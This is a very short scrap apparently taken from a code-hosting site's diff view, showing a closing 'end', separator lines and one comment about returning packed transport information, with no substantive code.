end
|
||||
|
||||
# return the packed transport information
|
||||
|
||||
Reference in New Issue
Block a user